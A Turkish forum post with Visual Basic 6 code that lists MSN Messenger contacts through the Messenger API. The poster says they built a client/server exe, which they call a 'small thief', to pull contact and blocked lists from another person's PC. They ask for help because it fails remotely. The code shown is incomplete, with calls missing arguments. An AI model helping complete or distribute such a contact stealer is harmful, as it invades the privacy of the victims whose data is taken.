paylasmn icin saol eyer hatann ne tur bi hata oldugunu solersen bakarz bi caresine

Project/References kısmından ; Messenger API Type Library Messenger Content Installer Type Library '2 tane List1 adında ListBox ekledikten sonra aşağıdaki codu copy-paste ile yerleştirip çalıştırın Public WithEvents msn As MessengerAPI. Messenger Private Sub Form_Load Set msn = New MessengerAPI. Messenger Dim msncontact As IMessengerContact Dim msncontacts As IMessengerContacts Set msncontacts = msn. MyContacts For Each msncontact In msncontacts List1(0). AddItem List1(1). AddItem Next End Sub Private Sub List1_Click If Index = 0 Then List1(1). Selected(List1 . ListIndex) = True Else List1(0). Selected(List1 . ListIndex) = True End If End Sub Hepsini görmek için tıklayın... Bu Code la kucuk bir exe yazıp server client olayı ile karsı pc den tüm kontak listesini ve banladıklarını alıyorum fakat bu calışmam kendi pc 'm de çalışıyor karşı pc de bu exe hata veriyor anlamadım gitti eger sorunu halledersem bu ufak hırsızı kaynak kodlu yayınlarım yinede ilgilenen olursa her türlü yardıma açığım